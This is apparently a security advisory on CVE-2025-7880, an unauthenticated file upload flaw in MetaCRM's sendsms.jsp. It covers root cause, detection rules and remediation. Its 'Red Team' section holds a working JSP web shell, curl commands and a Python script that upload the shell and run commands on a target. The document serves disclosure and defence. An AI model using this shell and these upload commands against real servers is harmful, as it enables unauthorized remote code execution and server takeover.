CVE-2025-7880

Executive Summary

CVE-2025-7880 is a critical unrestricted file upload vulnerability found in Metasoft 美特软件 MetaCRM, affecting versions up to and including 6.4.2. The vulnerability resides in the /business/common/sms/sendsms.jsp file, where the File argument is not properly sanitized, allowing an attacker to upload arbitrary files to the server. This can lead to remote code execution (RCE), data exfiltration, or complete server compromise. The exploit has been publicly disclosed, and no patch is currently available from the vendor. The CVSS score is 6.3 (Medium), but the actual risk is higher due to the lack of authentication requirements and the potential for full system takeover.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise CRM application (MetaCRM) developed by Metasoft 美特软件. The risk is limited to organizations that have deployed this specific software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited data exposure possible.
• Integrity (I): Low (L) - Limited file modification possible.
• Availability (A): Low (L) - Limited service disruption possible.

Threat Level: High. Despite the medium CVSS score, the public availability of exploit code and the lack of a patch make this a high-priority threat. An attacker can upload a web shell and gain full control of the server.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The endpoint /business/common/sms/sendsms.jsp accepts a File parameter. The application fails to validate the file type, size, or content. An attacker can craft a malicious file (e.g., a JSP web shell) and upload it to the server. The file is likely stored in a web-accessible directory (e.g., /uploads/ or /business/common/sms/). Once uploaded, the attacker can access the file via a web browser and execute arbitrary commands on the server.

Root Cause: The sendsms.jsp file does not implement any of the following:

• File extension whitelisting (e.g., only .txt, .csv).
• MIME type validation.
• File content inspection.
• Secure storage outside the web root.
• Renaming of uploaded files to prevent direct execution.

Attack Flow:

1. Attacker identifies a target running MetaCRM <= 6.4.2.
2. Attacker sends a POST request to /business/common/sms/sendsms.jsp with a File parameter containing a malicious JSP file.
3. The server stores the file in a web-accessible directory.
4. Attacker accesses the uploaded file via HTTP (e.g., http://target/business/common/sms/shell.jsp).
5. The JSP file executes, giving the attacker a command shell or remote control.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

<%
    String fileName = request.getParameter("File");
    // No validation of file extension or content
    File uploadedFile = new File(getServletContext().getRealPath("/") + "/uploads/" + fileName);
    // Save the file directly
    fileUpload.save(uploadedFile);
%>

Patched Code (Hypothetical):

<%
    String fileName = request.getParameter("File");
    // Validate file extension
    if (!fileName.endsWith(".txt") && !fileName.endsWith(".csv")) {
        response.sendError(400, "Invalid file type");
        return;
    }
    // Generate a random name to prevent direct execution
    String safeName = UUID.randomUUID().toString() + ".txt";
    File uploadedFile = new File(getServletContext().getRealPath("/") + "/secure_uploads/" + safeName);
    // Save the file
    fileUpload.save(uploadedFile);
%>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running MetaCRM <= 6.4.2.
• Network access to the target.
• A JSP web shell (e.g., cmd.jsp).

Exploit Steps:

1. Create a JSP web shell (e.g., shell.jsp):

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       if (cmd != null) {
           Process p = Runtime.getRuntime().exec(cmd);
           BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
           String line;
           while ((line = br.readLine()) != null) {
               out.println(line);
           }
       }
   %>
   

2. Upload the shell using a tool like curl:

   curl -X POST -F "File=@shell.jsp" http://target/business/common/sms/sendsms.jsp
   

3. Access the uploaded shell:

   curl http://target/business/common/sms/shell.jsp?cmd=id
   

4. If successful, you will see the output of the id command.

Alternative Exploit (Python):

import requests

target = "http://target"
payload = {"File": ("shell.jsp", "<%@ page import=\"java.io.*\" %><% String cmd = request.getParameter(\"cmd\"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>")}
r = requests.post(f"{target}/business/common/sms/sendsms.jsp", files=payload)
print(f"Upload status: {r.status_code}")
# Access the shell
r2 = requests.get(f"{target}/business/common/sms/shell.jsp?cmd=id")
print(r2.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /business/common/sms/sendsms.jsp with a File parameter.
• Look for file extensions like .jsp, .jspx, .war, .php in the File parameter.
• Check for unusual file sizes or content types in upload requests.

Hunting:

• Search for files in the web root that were recently created and have executable extensions (.jsp, .jspx).
• Look for processes spawned by the web server user (e.g., tomcat, www-data) that are unusual (e.g., cmd.exe, /bin/sh).

Containment:

• Immediately block the vulnerable endpoint at the WAF or reverse proxy.
• If possible, remove write permissions from the web server user on the upload directory.
• Restrict file execution in the upload directory via web server configuration (e.g., disable JSP execution in /uploads/).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /business/common/sms/sendsms.jsp with a File parameter containing .jsp or .jspx extensions.
• Subsequent GET requests to /business/common/sms/<filename>.jsp?cmd=<command>.
• Outbound connections from the web server to unknown IPs (C2 traffic).

File System IOCs:

• Unexpected .jsp or .jspx files in the web root, especially in /business/common/sms/ or /uploads/.
• Files with suspicious names like shell.jsp, cmd.jsp, backdoor.jsp.
• Modified timestamps on JSP files that do not match the application's update cycle.

Process IOCs:

• Web server processes (e.g., java, tomcat) spawning child processes like cmd.exe, /bin/sh, powershell.exe.
• Unusual network connections initiated by the web server process.

Detection Engineering

YARA Rule

rule CVE_2025_7880_MetaCRM_Upload {
    meta:
        description = "Detects malicious JSP files uploaded via CVE-2025-7880"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7880"
    strings:
        $jsp_tag = "<%" nocase
        $exec_func = "Runtime.getRuntime().exec" nocase
        $cmd_param = "request.getParameter(\"cmd\")" nocase
        $file_upload = "sendsms.jsp" nocase
    condition:
        $jsp_tag and ($exec_func or $cmd_param) and #file_upload > 0
}

Sigma Rule

title: CVE-2025-7880 MetaCRM Unrestricted File Upload
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-7880 via HTTP POST to sendsms.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/business/common/sms/sendsms.jsp'
        cs-uri-query|contains: 'File='
    condition: selection
falsepositives:
    - Legitimate file uploads (if any) by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7880 MetaCRM Unrestricted File Upload"; flow:to_server; content:"POST"; http_method; content:"/business/common/sms/sendsms.jsp"; http_uri; content:"File="; http_client_body; pcre:"/\.(jsp|jspx|war|php)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system: If possible, take the MetaCRM server offline or restrict network access to trusted IPs only.
2. Block the vulnerable endpoint: Use a WAF or reverse proxy to block POST requests to /business/common/sms/sendsms.jsp.
3. Remove uploaded files: Scan the web root for any suspicious JSP files and remove them.
4. Change credentials: If the server was compromised, change all passwords and secrets.

Long-term Fixes:

1. Apply vendor patch: Contact Metasoft 美特软件 for an official patch. If none is available, consider migrating to a different CRM solution.
2. Implement file upload validation: Whitelist allowed file extensions (e.g., .txt, .csv), validate MIME types, and scan files for malicious content.
3. Store uploads outside web root: Save uploaded files to a directory that is not directly accessible via the web server.
4. Rename uploaded files: Use a random, non-predictable filename to prevent direct execution.
5. Disable script execution in upload directories: Configure the web server (e.g., Tomcat) to not execute JSP files in the upload directory.

Workaround:

• If patching is not possible, disable the SMS functionality entirely by removing or renaming the sendsms.jsp file.

Valters IT
Securing Digital Frontiers